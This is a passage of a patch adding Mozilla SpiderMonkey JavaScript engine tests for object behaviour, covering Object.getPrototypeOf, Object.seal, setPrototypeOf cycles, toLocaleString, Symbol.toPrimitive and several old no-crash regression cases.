+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ var prototype;
+
+ function Bug() {
+ var func = function () { x; };
+ prototype;
+ }
+
+ expect = true;
+ actual = (new Bug instanceof Bug);
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/object/regress-385393-07.js b/js/src/tests/non262/object/regress-385393-07.js
new file mode 100644
index 0000000000..eea506aba2
--- /dev/null
+++ b/js/src/tests/non262/object/regress-385393-07.js
@@ -0,0 +1,31 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 385393;
+var summary = 'Regression test for bug 385393';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ try
+ {
+ (2).eval();
+ }
+ catch(ex)
+ {
+ }
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/object/regress-444787.js b/js/src/tests/non262/object/regress-444787.js
new file mode 100644
index 0000000000..08e1496860
--- /dev/null
+++ b/js/src/tests/non262/object/regress-444787.js
@@ -0,0 +1,101 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 444787;
+var summary = 'Object.getPrototypeOf';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ var i;
+ var type;
+ var instance;
+ var types = [
+ Array,
+ Boolean,
+ Date,
+ Error,
+ Function,
+ Math,
+ Number,
+ Object,
+ RegExp,
+ String,
+ ];
+
+ for (i = 0; i < types.length; i++)
+ {
+ type = types[i];
+
+ if (typeof type.__proto__ != 'undefined')
+ {
+ expect = type.__proto__;
+ actual = Object.getPrototypeOf(type);
+ reportCompare(expect, actual, summary + ': ' + type.name);
+ }
+
+ try
+ {
+ eval('instance = new ' + type.name);
+ expect = type.prototype;
+ actual = Object.getPrototypeOf(instance);
+ reportCompare(expect, actual, summary + ': new ' + type.name);
+ }
+ catch(ex) {
+ if (ex instanceof TypeError) {
+ print('Ignore ' + ex);
+ } else {
+ actual = ex + '';
+ reportCompare(expect, actual, summary + ': new ' + type.name);
+ }
+ }
+
+ }
+
+ types = [null, undefined];
+
+ for (i = 0; i < types.length; i++)
+ {
+ type = types[i];
+ expect = 'TypeError: Object.getPrototype is not a function';
+ try
+ {
+ actual = Object.getPrototype(null);
+ }
+ catch(ex)
+ {
+ actual = ex + '';
+ }
+ reportCompare(expect, actual, summary + ': ' + type);
+ }
+
+ var objects = [
+ {instance: [0], type: Array},
+ {instance: (function () {}), type: Function},
+ {instance: eval, type: Function},
+ {instance: parseInt, type: Function},
+ {instance: {a: ''}, type: Object},
+ {instance: /foo/, type: RegExp}
+ ];
+
+ for (i = 0; i < objects.length; i++)
+ {
+ instance = objects[i].instance;
+ type = objects[i].type;
+ expect = type.prototype;
+ actual = Object.getPrototypeOf(instance);
+ reportCompare(expect, actual, summary + ' instance: ' + instance + ', type: ' + type.name);
+ }
+}
diff --git a/js/src/tests/non262/object/regress-459405.js b/js/src/tests/non262/object/regress-459405.js
new file mode 100644
index 0000000000..524bc6a092
--- /dev/null
+++ b/js/src/tests/non262/object/regress-459405.js
@@ -0,0 +1,37 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ * Contributor: Robert Sayre
+ */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 459405;
+var summary = 'Math is not ReadOnly';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ expect = 'foo';
+
+ try
+ {
+ var Math = 'foo';
+ actual = Math;
+ }
+ catch(ex)
+ {
+ actual = ex + '';
+ }
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/object/regress-465476.js b/js/src/tests/non262/object/regress-465476.js
new file mode 100644
index 0000000000..1d998f1e71
--- /dev/null
+++ b/js/src/tests/non262/object/regress-465476.js
@@ -0,0 +1,60 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 465476;
+var summary = '"-0" and "0" are distinct properties.';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ var x = { "0": 3, "-0": 7 };
+
+ expect = actual = 'No Exception';
+
+ try
+ {
+ if (!("0" in x))
+ throw "0 not in x";
+ if (!("-0" in x))
+ throw "-0 not in x";
+ delete x[0];
+ if ("0" in x)
+ throw "0 in x after delete";
+ if (!("-0" in x))
+ throw "-0 removed from x after unassociated delete";
+ delete x["-0"];
+ if ("-0" in x)
+ throw "-0 in x after delete";
+ x[0] = 3;
+ if (!("0" in x))
+ throw "0 not in x after insertion of 0 property";
+ if ("-0" in x)
+ throw "-0 in x after insertion of 0 property";
+ x["-0"] = 7;
+ if (!("-0" in x))
+ throw "-0 not in x after reinsertion";
+
+ var props = [];
+ for (var i in x)
+ props.push(i);
+ if (props.length !== 2)
+ throw "not all props found!";
+ }
+ catch(ex)
+ {
+ actual = ex + '';
+ }
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/object/regress-72773.js b/js/src/tests/non262/object/regress-72773.js
new file mode 100644
index 0000000000..77f75c3dc0
--- /dev/null
+++ b/js/src/tests/non262/object/regress-72773.js
@@ -0,0 +1,60 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+/*
+ * Date: 09 May 2001
+ *
+ * SUMMARY: Regression test: we shouldn't crash on this code
+ * See http://bugzilla.mozilla.org/show_bug.cgi?id=72773
+ *
+ * See ECMA-262 Edition 3 13-Oct-1999, Section 8.6.2 re [[Class]] property.
+ *
+ * Same as class-001.js - but testing user-defined types here, not
+ * native types. Therefore we expect the [[Class]] property to equal
+ * 'Object' in each case -
+ *
+ * The getJSClass() function we use is in a utility file, e.g. "shell.js"
+ */
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 72773;
+var summary = "Regression test: we shouldn't crash on this code";
+var status = '';
+var actual = '';
+var expect = '';
+var sToEval = '';
+
+/*
+ * This code should produce an error, but not a crash.
+ * 'TypeError: Function.prototype.toString called on incompatible object'
+ */
+sToEval += 'function Cow(name){this.name = name;}'
+sToEval += 'function Calf(str){this.name = str;}'
+sToEval += 'Calf.prototype = Cow;'
+sToEval += 'new Calf().toString();'
+
+status = 'Trying to catch an expected error';
+try
+{
+ eval(sToEval);
+}
+catch(e)
+{
+ actual = getJSClass(e);
+ expect = 'Error';
+}
+
+
+//----------------------------------------------------------------------------------------------
+test();
+//----------------------------------------------------------------------------------------------
+
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ reportCompare(expect, actual, status);
+}
diff --git a/js/src/tests/non262/object/regress-79129-001.js b/js/src/tests/non262/object/regress-79129-001.js
new file mode 100644
index 0000000000..b9689429ee
--- /dev/null
+++ b/js/src/tests/non262/object/regress-79129-001.js
@@ -0,0 +1,44 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+/*
+ * Date: 06 May 2001
+ *
+ * SUMMARY: Regression test: we shouldn't crash on this code
+ *
+ * See http://bugzilla.mozilla.org/show_bug.cgi?id=79129
+ */
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 79129;
+var summary = "Regression test: we shouldn't crash on this code";
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+ tryThis();
+ reportCompare('No Crash', 'No Crash', 'Should not crash');
+}
+
+
+function tryThis()
+{
+ obj={};
+ obj.a = obj.b = obj.c = 1;
+ delete obj.a;
+ delete obj.b;
+ delete obj.c;
+ obj.d = obj.e = 1;
+ obj.a=1;
+ obj.b=1;
+ obj.c=1;
+ obj.d=1;
+ obj.e=1;
+}
diff --git a/js/src/tests/non262/object/regress-90596-003.js b/js/src/tests/non262/object/regress-90596-003.js
new file mode 100644
index 0000000000..ea0c161592
--- /dev/null
+++ b/js/src/tests/non262/object/regress-90596-003.js
@@ -0,0 +1,275 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+/*
+ * Date: 28 August 2001
+ *
+ * SUMMARY: A [DontEnum] prop, if overridden, should appear in for-in loops.
+ * See http://bugzilla.mozilla.org/show_bug.cgi?id=90596
+ *
+ * NOTE: some inefficiencies in the test are made for the sake of readability.
+ * For example, we quote string values like "Hi" in lines like this:
+ *
+ * actual = enumerateThis(obj);
+ * expect = '{prop:"Hi"}';
+ *
+ * But enumerateThis(obj) gets literal value Hi for obj.prop, not
+ * literal "Hi". We take care of all these details in the
+ * compactThis(), sortThis() functions. Sorting properties
+ * alphabetically is necessary for the test to work in Rhino.
+ */
+//-----------------------------------------------------------------------------
+var UBound = 0;
+var BUGNUMBER = 90596;
+var summary = '[DontEnum] props (if overridden) should appear in for-in loops';
+var cnCOMMA = ',';
+var cnCOLON = ':';
+var cnLBRACE = '{';
+var cnRBRACE = '}';
+var status = '';
+var statusitems = [];
+var actual = '';
+var actualvalues = [];
+var expect= '';
+var expectedvalues = [];
+var obj = {};
+
+
+status = inSection(1);
+obj = {toString:9};
+actual = enumerateThis(obj);
+expect = '{toString:9}';
+addThis();
+
+status = inSection(2);
+obj = {hasOwnProperty:"Hi"};
+actual = enumerateThis(obj);
+expect = '{hasOwnProperty:"Hi"}';
+addThis();
+
+status = inSection(3);
+obj = {toString:9, hasOwnProperty:"Hi"};
+actual = enumerateThis(obj);
+expect = '{toString:9, hasOwnProperty:"Hi"}';
+addThis();
+
+status = inSection(4);
+obj = {prop1:1, toString:9, hasOwnProperty:"Hi"};
+actual = enumerateThis(obj);
+expect = '{prop1:1, toString:9, hasOwnProperty:"Hi"}';
+addThis();
+
+
+// TRY THE SAME THING IN EVAL CODE
+var s = '';
+
+status = inSection(5);
+s = 'obj = {toString:9}';
+eval(s);
+actual = enumerateThis(obj);
+expect = '{toString:9}';
+addThis();
+
+status = inSection(6);
+s = 'obj = {hasOwnProperty:"Hi"}';
+eval(s);
+actual = enumerateThis(obj);
+expect = '{hasOwnProperty:"Hi"}';
+addThis();
+
+status = inSection(7);
+s = 'obj = {toString:9, hasOwnProperty:"Hi"}';
+eval(s);
+actual = enumerateThis(obj);
+expect = '{toString:9, hasOwnProperty:"Hi"}';
+addThis();
+
+status = inSection(8);
+s = 'obj = {prop1:1, toString:9, hasOwnProperty:"Hi"}';
+eval(s);
+actual = enumerateThis(obj);
+expect = '{prop1:1, toString:9, hasOwnProperty:"Hi"}';
+addThis();
+
+
+// TRY THE SAME THING IN FUNCTION CODE
+function A()
+{
+ status = inSection(9);
+ var s = 'obj = {toString:9}';
+ eval(s);
+ actual = enumerateThis(obj);
+ expect = '{toString:9}';
+ addThis();
+}
+A();
+
+function B()
+{
+ status = inSection(10);
+ var s = 'obj = {hasOwnProperty:"Hi"}';
+ eval(s);
+ actual = enumerateThis(obj);
+ expect = '{hasOwnProperty:"Hi"}';
+ addThis();
+}
+B();
+
+function C()
+{
+ status = inSection(11);
+ var s = 'obj = {toString:9, hasOwnProperty:"Hi"}';
+ eval(s);
+ actual = enumerateThis(obj);
+ expect = '{toString:9, hasOwnProperty:"Hi"}';
+ addThis();
+}
+C();
+
+function D()
+{
+ status = inSection(12);
+ var s = 'obj = {prop1:1, toString:9, hasOwnProperty:"Hi"}';
+ eval(s);
+ actual = enumerateThis(obj);
+ expect = '{prop1:1, toString:9, hasOwnProperty:"Hi"}';
+ addThis();
+}
+D();
+
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+
+
+function enumerateThis(obj)
+{
+ var arr = new Array();
+
+ for (var prop in obj)
+ {
+ arr.push(prop + cnCOLON + obj[prop]);
+ }
+
+ var ret = addBraces(String(arr));
+ return ret;
+}
+
+
+function addBraces(text)
+{
+ return cnLBRACE + text + cnRBRACE;
+}
+
+
+/*
+ * Sort properties alphabetically so the test will work in Rhino
+ */
+function addThis()
+{
+ statusitems[UBound] = status;
+ actualvalues[UBound] = sortThis(actual);
+ expectedvalues[UBound] = sortThis(expect);
+ UBound++;
+}
+
+
+/*
+ * Takes a string of the form '{"c", "b", "a", 2}' and returns '{2,a,b,c}'
+ */
+function sortThis(sList)
+{
+ sList = compactThis(sList);
+ sList = stripBraces(sList);
+ var arr = sList.split(cnCOMMA);
+ arr = arr.sort();
+ var ret = String(arr);
+ ret = addBraces(ret);
+ return ret;
+}
+
+
+/*
+ * Strips out any whitespace or quotes from the text -
+ */
+function compactThis(text)
+{
+ var charCode = 0;
+ var ret = '';
+
+ for (var i=0; i<text.length; i++)
+ {
+ charCode = text.charCodeAt(i);
+
+ if (!isWhiteSpace(charCode) && !isQuote(charCode))
+ ret += text.charAt(i);
+ }
+
+ return ret;
+}
+
+
+function isWhiteSpace(charCode)
+{
+ switch (charCode)
+ {
+ case (0x0009):
+ case (0x000B):
+ case (0x000C):
+ case (0x0020):
+ case (0x000A): // '\n'
+ case (0x000D): // '\r'
+ return true;
+ break;
+
+ default:
+ return false;
+ }
+}
+
+
+function isQuote(charCode)
+{
+ switch (charCode)
+ {
+ case (0x0027): // single quote
+ case (0x0022): // double quote
+ return true;
+ break;
+
+ default:
+ return false;
+ }
+}
+
+
+/*
+ * strips off braces at beginning and end of text -
+ */
+function stripBraces(text)
+{
+ // remember to escape the braces...
+ var arr = text.match(/^\{(.*)\}$/);
+
+ // defend against a null match...
+ if (arr != null && arr[1] != null)
+ return arr[1];
+ return text;
+}
+
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ for (var i=0; i<UBound; i++)
+ {
+ reportCompare(expectedvalues[i], actualvalues[i], statusitems[i]);
+ }
+}
diff --git a/js/src/tests/non262/object/seal-proxy.js b/js/src/tests/non262/object/seal-proxy.js
new file mode 100644
index 0000000000..44bb685c87
--- /dev/null
+++ b/js/src/tests/non262/object/seal-proxy.js
@@ -0,0 +1,27 @@
+/* Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/publicdomain/zero/1.0/ */
+
+function logProxy(object = {}, handler = {}) {
+ var log = [];
+ var proxy = new Proxy(object, new Proxy(handler, {
+ get(target, propertyKey, receiver) {
+ log.push(propertyKey);
+ return target[propertyKey];
+ }
+ }));
+ return {proxy, log};
+}
+
+// The order of operations is backwards when compared to ES6 draft rev 27
+// (2014 August 24), but see https://bugs.ecmascript.org/show_bug.cgi?id=3215
+// for an explanation on why the spec version is clearly wrong.
+
+var {proxy, log} = logProxy();
+Object.seal(proxy);
+assertDeepEq(log, ["preventExtensions", "ownKeys"]);
+
+var {proxy, log} = logProxy();
+Object.seal(Object.seal(proxy));
+assertDeepEq(log, ["preventExtensions", "ownKeys", "preventExtensions", "ownKeys"]);
+
+reportCompare(0, 0);
diff --git a/js/src/tests/non262/object/seal.js b/js/src/tests/non262/object/seal.js
new file mode 100644
index 0000000000..e325c80d9d
--- /dev/null
+++ b/js/src/tests/non262/object/seal.js
@@ -0,0 +1,21 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * https://creativecommons.org/publicdomain/zero/1.0/
+ */
+
+var BUGNUMBER = 1075294;
+var summary = "Object.seal() should return its argument with no conversion when the argument is a primitive value";
+
+print(BUGNUMBER + ": " + summary);
+assertEq(Object.seal(), undefined);
+assertEq(Object.seal(undefined), undefined);
+assertEq(Object.seal(null), null);
+assertEq(Object.seal(1), 1);
+assertEq(Object.seal("foo"), "foo");
+assertEq(Object.seal(true), true);
+if (typeof Symbol === "function") {
+ assertEq(Object.seal(Symbol.for("foo")), Symbol.for("foo"));
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/object/setPrototypeOf-cross-realm-cycle.js b/js/src/tests/non262/object/setPrototypeOf-cross-realm-cycle.js
new file mode 100644
index 0000000000..e2efe010eb
--- /dev/null
+++ b/js/src/tests/non262/object/setPrototypeOf-cross-realm-cycle.js
@@ -0,0 +1,11 @@
+// The cycle check in 9.1.2 [[SetPrototypeOf]] prevents cross-realm cycles
+// involving only ordinary objects.
+
+var gw = newGlobal();
+
+var obj = {};
+var w = gw.Object.create(obj);
+assertThrowsInstanceOf(() => Object.setPrototypeOf(obj, w), TypeError);
+assertThrowsInstanceOf(() => gw.Object.setPrototypeOf(obj, w), gw.TypeError);
+
+reportCompare(0, 0);
diff --git a/js/src/tests/non262/object/setPrototypeOf-cycle.js b/js/src/tests/non262/object/setPrototypeOf-cycle.js
new file mode 100644
index 0000000000..a8b5aa75cd
--- /dev/null
+++ b/js/src/tests/non262/object/setPrototypeOf-cycle.js
@@ -0,0 +1,16 @@
+// The cycle check in 9.1.2 [[SetPrototypeOf]] does not walk proxies.
+// Therefore it's very easy to create prototype chain cycles involving proxies,
+// and the spec requires us to accept this.
+
+var t = {};
+var p = new Proxy(t, {});
+Object.setPrototypeOf(t, p); // 🙈
+
+// Actually doing anything that searches this object's prototype chain
+// technically should not terminate. We instead throw "too much recursion".
+for (var obj of [t, p]) {
+ assertThrowsInstanceOf(() => "x" in obj, InternalError);
+ assertThrowsInstanceOf(() => obj.x, InternalError);
+ assertThrowsInstanceOf(() => { obj.x = 1; }, InternalError);
+}
+reportCompare(0, 0);
diff --git a/js/src/tests/non262/object/setPrototypeOf-same-value.js b/js/src/tests/non262/object/setPrototypeOf-same-value.js
new file mode 100644
index 0000000000..3375509462
--- /dev/null
+++ b/js/src/tests/non262/object/setPrototypeOf-same-value.js
@@ -0,0 +1,11 @@
+// Setting a "new" prototype to the current [[Prototype]] value should never fail
+
+var x = {}, t = Object.create(x);
+Object.preventExtensions(t);
+// Should not fail, because it is the same [[Prototype]] value
+Object.setPrototypeOf(t, x);
+
+// Object.prototype's [[Prototype]] is immutable, make sure we can still set null
+Object.setPrototypeOf(Object.prototype, null);
+
+reportCompare(true, true);
diff --git a/js/src/tests/non262/object/shell.js b/js/src/tests/non262/object/shell.js
new file mode 100644
index 0000000000..49d875f264
--- /dev/null
+++ b/js/src/tests/non262/object/shell.js
@@ -0,0 +1,62 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+/*
+ * Date: 14 Mar 2001
+ *
+ * SUMMARY: Utility functions for testing objects -
+ *
+ * Suppose obj is an instance of a native type, e.g. Number.
+ * Then obj.toString() invokes Number.prototype.toString().
+ * We would also like to access Object.prototype.toString().
+ *
+ * The difference is this: suppose obj = new Number(7).
+ * Invoking Number.prototype.toString() on this just returns 7.
+ * Object.prototype.toString() on this returns '[object Number]'.
+ *
+ * The getJSClass() function returns 'Number', the [[Class]] property of obj.
+ * See ECMA-262 Edition 3, 13-Oct-1999, Section 8.6.2
+ */
+//-----------------------------------------------------------------------------
+
+
+var cnNoObject = 'Unexpected Error!!! Parameter to this function must be an object';
+var cnNoClass = 'Unexpected Error!!! Cannot find Class property';
+var cnObjectToString = Object.prototype.toString;
+var GLOBAL = 'global';
+
+
+// checks that it's safe to call findType()
+function getJSClass(obj)
+{
+ if (isObject(obj))
+ return findClass(findType(obj));
+ return cnNoObject;
+}
+
+
+function findType(obj)
+{
+ return cnObjectToString.apply(obj);
+}
+
+
+// given '[object Number]', return 'Number'
+function findClass(sType)
+{
+ var re = /^\[.*\s+(\w+)\s*\]$/;
+ var a = sType.match(re);
+
+ if (a && a[1])
+ return a[1];
+ return cnNoClass;
+}
+
+
+function isObject(obj)
+{
+ return obj instanceof Object;
+}
+
diff --git a/js/src/tests/non262/object/toLocaleString-01.js b/js/src/tests/non262/object/toLocaleString-01.js
new file mode 100644
index 0000000000..3fa2acc746
--- /dev/null
+++ b/js/src/tests/non262/object/toLocaleString-01.js
@@ -0,0 +1,13 @@
+"use strict";
+
+Object.defineProperty(String.prototype, "toString", {
+ get() {
+ assertEq(typeof this, "string");
+
+ return function() { return typeof this; };
+ }
+})
+assertEq(Object.prototype.toLocaleString.call("test"), "string");
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/object/toLocaleString.js b/js/src/tests/non262/object/toLocaleString.js
new file mode 100644
index 0000000000..e42c4a09e5
--- /dev/null
+++ b/js/src/tests/non262/object/toLocaleString.js
@@ -0,0 +1,102 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+var gTestfile = 'toLocaleString.js';
+var BUGNUMBER = 653789;
+var summary = "Object.prototype.toLocaleString";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+function expectThrowTypeError(fun)
+{
+ try
+ {
+ var r = fun();
+ throw "didn't throw TypeError, returned " + r;
+ }
+ catch (e)
+ {
+ assertEq(e instanceof TypeError, true,
+ "didn't throw TypeError, got: " + e);
+ }
+}
+
+var toLocaleString = Object.prototype.toLocaleString;
+
+/*
+ * 1. Let O be the result of calling ToObject passing the this value as the
+ * argument.
+ */
+expectThrowTypeError(function() { toLocaleString.call(null); });
+expectThrowTypeError(function() { toLocaleString.call(undefined); });
+expectThrowTypeError(function() { toLocaleString.apply(null); });
+expectThrowTypeError(function() { toLocaleString.apply(undefined); });
+
+
+/*
+ * 2. Let toString be the result of calling the [[Get]] internal method of O
+ * passing "toString" as the argument.
+ */
+try
+{
+ toLocaleString.call({ get toString() { throw 17; } });
+ throw new Error("didn't throw");
+}
+catch (e)
+{
+ assertEq(e, 17);
+}
+
+
+/* 3. If IsCallable(toString) is false, throw a TypeError exception. */
+expectThrowTypeError(function() { toLocaleString.call({ toString: 12 }); });
+expectThrowTypeError(function() { toLocaleString.call({ toString: 0.3423423452352e9 }); });
+expectThrowTypeError(function() { toLocaleString.call({ toString: undefined }); });
+expectThrowTypeError(function() { toLocaleString.call({ toString: false }); });
+expectThrowTypeError(function() { toLocaleString.call({ toString: [] }); });
+expectThrowTypeError(function() { toLocaleString.call({ toString: {} }); });
+expectThrowTypeError(function() { toLocaleString.call({ toString: new String }); });
+expectThrowTypeError(function() { toLocaleString.call({ toString: new Number(7.7) }); });
+expectThrowTypeError(function() { toLocaleString.call({ toString: new Boolean(true) }); });
+expectThrowTypeError(function() { toLocaleString.call({ toString: JSON }); });
+
+expectThrowTypeError(function() { toLocaleString.call({ valueOf: 0, toString: 12 }); });
+expectThrowTypeError(function() { toLocaleString.call({ valueOf: 0, toString: 0.3423423452352e9 }); });
+expectThrowTypeError(function() { toLocaleString.call({ valueOf: 0, toString: undefined }); });
+expectThrowTypeError(function() { toLocaleString.call({ valueOf: 0, toString: false }); });
+expectThrowTypeError(function() { toLocaleString.call({ valueOf: 0, toString: [] }); });
+expectThrowTypeError(function() { toLocaleString.call({ valueOf: 0, toString: {} }); });
+expectThrowTypeError(function() { toLocaleString.call({ valueOf: 0, toString: new String }); });
+expectThrowTypeError(function() { toLocaleString.call({ valueOf: 0, toString: new Number(7.7) }); });
+expectThrowTypeError(function() { toLocaleString.call({ valueOf: 0, toString: new Boolean(true) }); });
+expectThrowTypeError(function() { toLocaleString.call({ valueOf: 0, toString: JSON }); });
+
+
+/*
+ * 4. Return the result of calling the [[Call]] internal method of toString
+ * passing O as the this value and no arguments.
+ */
+assertEq(toLocaleString.call({ get toString() { return function() { return "foo"; } } }),
+ "foo");
+
+var obj = { toString: function() { assertEq(this, obj); assertEq(arguments.length, 0); return 5; } };
+assertEq(toLocaleString.call(obj), 5);
+
+assertEq(toLocaleString.call({ toString: function() { return obj; } }), obj);
+
+assertEq(toLocaleString.call({ toString: function() { return obj; },
+ valueOf: function() { return "abc"; } }),
+ obj);
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("All tests passed!");
diff --git a/js/src/tests/non262/object/toPrimitive-callers.js b/js/src/tests/non262/object/toPrimitive-callers.js
new file mode 100644
index 0000000000..ffeef2225c
--- /dev/null
+++ b/js/src/tests/non262/object/toPrimitive-callers.js
@@ -0,0 +1,57 @@
+// Check all the algorithms that call ToPrimitive. Confirm that they're passing
+// the correct hint, per spec.
+
+var STRING = "xyzzy";
+var NUMBER = 42;
+
+function assertCallsToPrimitive(f, expectedHint, expectedResult) {
+ var hint = undefined;
+ var testObj = {
+ [Symbol.toPrimitive](h) {
+ assertEq(hint, undefined);
+ hint = h;
+ return h === "number" ? NUMBER : STRING;
+ }
+ };
+ var result = f(testObj);
+ assertEq(hint, expectedHint, String(f));
+ assertEq(result, expectedResult, String(f));
+}
+
+// ToNumber
+assertCallsToPrimitive(Number, "number", NUMBER);
+
+// ToString
+assertCallsToPrimitive(String, "string", STRING);
+
+// ToPropertyKey
+var obj = {[STRING]: "pass"};
+assertCallsToPrimitive(key => obj[key], "string", "pass");
+
+// Abstract Relational Comparison
+assertCallsToPrimitive(x => x >= 42, "number", true);
+assertCallsToPrimitive(x => x > "42", "number", false);
+
+// Abstract Equality Comparison
+assertCallsToPrimitive(x => x != STRING, "default", false);
+assertCallsToPrimitive(x => STRING == x, "default", true);
+assertCallsToPrimitive(x => x == NUMBER, "default", false);
+assertCallsToPrimitive(x => NUMBER != x, "default", true);
+
+// Addition
+assertCallsToPrimitive(x => 1 + x, "default", "1" + STRING);
+assertCallsToPrimitive(x => "" + x, "default", STRING);
+
+// Date constructor
+assertCallsToPrimitive(x => (new Date(x)).valueOf(), "default", Number(STRING));
+
+// Date.prototype.toJSON
+var expected = "a suffusion of yellow";
+function testJSON(x) {
+ x.toJSON = Date.prototype.toJSON;
+ x.toISOString = function () { return expected; };
+ return JSON.stringify(x);
+}
+assertCallsToPrimitive(testJSON, "number", JSON.stringify(expected));
+
+reportCompare(0, 0);
diff --git a/js/src/tests/non262/object/toPrimitive.js b/js/src/tests/non262/object/toPrimitive.js
new file mode 100644
index 0000000000..59ed6ac475
--- /dev/null
+++ b/js/src/tests/non262/object/toPrimitive.js
@@ -0,0 +1,101 @@
+// ES6 7.1.1 ToPrimitive(input [, PreferredType]) specifies a new extension
+// point in the language. Objects can override the behavior of ToPrimitive
+// somewhat by supporting the method obj[@@toPrimitive](hint).
+//
+// (Rationale: ES5 had a [[DefaultValue]] internal method, overridden only by
+// Date objects. The change in ES6 is to make [[DefaultValue]] a plain old
+// method. This allowed ES6 to eliminate the [[DefaultValue]] internal method,
+// simplifying the meta-object protocol and thus proxies.)
+
+// obj[Symbol.toPrimitive]() is called whenever the ToPrimitive algorithm is invoked.
+var expectedThis, expectedHint;
+var obj = {
+ [Symbol.toPrimitive](hint, ...rest) {
+ assertEq(this, expectedThis);
+ assertEq(hint, expectedHint);
+ assertEq(rest.length, 0);
+ return 2015;
+ }
+};
+expectedThis = obj;
+expectedHint = "string";
+assertEq(String(obj), "2015");
+expectedHint = "number";
+assertEq(Number(obj), 2015);
+
+// It is called even through proxies.
+var proxy = new Proxy(obj, {});
+expectedThis = proxy;
+expectedHint = "default";
+assertEq("ES" + proxy, "ES2015");
+
+// It is called even through additional proxies and the prototype chain.
+proxy = new Proxy(Object.create(proxy), {});
+expectedThis = proxy;
+expectedHint = "default";
+assertEq("ES" + (proxy + 1), "ES2016");
+
+// It is not called if the operand is already a primitive.
+var ok = true;
+for (var constructor of [Boolean, Number, String, Symbol]) {
+ constructor.prototype[Symbol.toPrimitive] = function () {
+ ok = false;
+ throw "FAIL";
+ };
+}
+assertEq(Number(true), 1);
+assertEq(Number(77.7), 77.7);
+assertEq(Number("123"), 123);
+assertThrowsInstanceOf(() => Number(Symbol.iterator), TypeError);
+assertEq(String(true), "true");
+assertEq(String(77.7), "77.7");
+assertEq(String("123"), "123");
+assertEq(String(Symbol.iterator), "Symbol(Symbol.iterator)");
+assertEq(ok, true);
+
+// Converting a primitive symbol to another primitive type throws even if you
+// delete the @@toPrimitive method from Symbol.prototype.
+delete Symbol.prototype[Symbol.toPrimitive];
+var sym = Symbol("ok");
+assertThrowsInstanceOf(() => `${sym}`, TypeError);
